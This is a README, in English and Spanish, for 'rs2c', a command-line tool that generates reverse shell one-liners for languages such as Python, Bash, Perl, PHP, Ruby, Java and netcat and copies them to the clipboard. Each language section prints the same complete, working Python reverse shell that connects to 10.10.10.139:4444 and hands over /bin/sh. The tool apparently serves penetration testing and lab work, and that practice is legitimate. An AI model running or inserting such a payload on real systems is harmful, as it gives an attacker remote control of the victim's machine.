Reverse Shell to Clipboard is a tool that will facilitate the task of creating a reverse shell according to the programming language you need.
You can use it directly as a sh or for quick access you can copy into /usr/local/bin
If you don't have it copied to /usr/local/bin you will have to use it as ./rs2c inside the folder where it is hosted. If you have it copied to /usr/local/bin you can use it from any folder with rs2c command. You can generate a reverse shell for the following languages: java, bash, perl, python, php, ruby and for netcat
$ rs2c python 10.10.10.139 4444
>[*] Reverse shell copied to clipboard
If you now paste it with Ctrl + Shift + v you will see the following
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.139',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);'
Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.
Reverse Shell to Clipboard es una herramienta que te facilitará la tarea de crear una reverse shell según el lenguaje de programación que necesites.
Puedes usarlo directamente como un sh o para un acceso rápido puedes copiarlo en /usr/local/bin
Si no lo tienes copiado en /usr/local/bin, tendrás que usarlo como ./rs2c dentro de la carpeta donde está guardado. Si lo has copiado en /usr/local/bin, puedes usarlo desde cualquier carpeta con el comando rs2c Puedes generar un reverse shell para los siguientes lenguajes: java, bash, perl, python, php, ruby y para netcat
$ rs2c python 10.10.10.139 4444
>[*] Reverse shell copied to clipboard
Si ahora pulsas Ctrl + Shift + v verás lo siguiente:
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.139',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);'
Los pull requests son bienvenidos. Para cambios importantes, por favor abre un "issue" primero para hablarlo y veremos como aplicar el cambio.